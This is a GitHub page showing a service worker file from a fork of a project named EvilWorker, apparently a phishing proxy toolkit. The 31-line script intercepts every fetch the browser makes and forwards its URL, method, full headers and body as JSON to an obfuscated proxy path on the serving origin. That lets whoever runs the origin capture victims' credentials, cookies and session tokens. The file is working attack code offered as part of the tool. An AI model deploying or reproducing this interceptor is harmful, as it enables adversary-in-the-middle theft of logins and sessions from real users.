forked from Ahaz1701/EvilWorker
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathservice_worker_Mz8XO2ny1Pg5.js
More file actions
31 lines (28 loc) · 941 Bytes
/
Copy pathservice_worker_Mz8XO2ny1Pg5.js
File metadata and controls
31 lines (28 loc) · 941 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
self.addEventListener("fetch", (event) => {
event.respondWith(handleRequest(event.request));
});
async function handleRequest(request) {
const proxyRequestURL = `${self.location.origin}/lNv1pC9AWPUY4gbidyBO`;
try {
const proxyRequest = {
url: request.url,
method: request.method,
headers: Object.fromEntries(request.headers.entries()),
body: await request.text(),
referrer: request.referrer,
mode: request.mode
};
return fetch(proxyRequestURL, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(proxyRequest),
redirect: "manual",
mode: "same-origin"
});
}
catch (error) {
console.error(`Fetching ${proxyRequestURL} failed: ${error}`);
}
}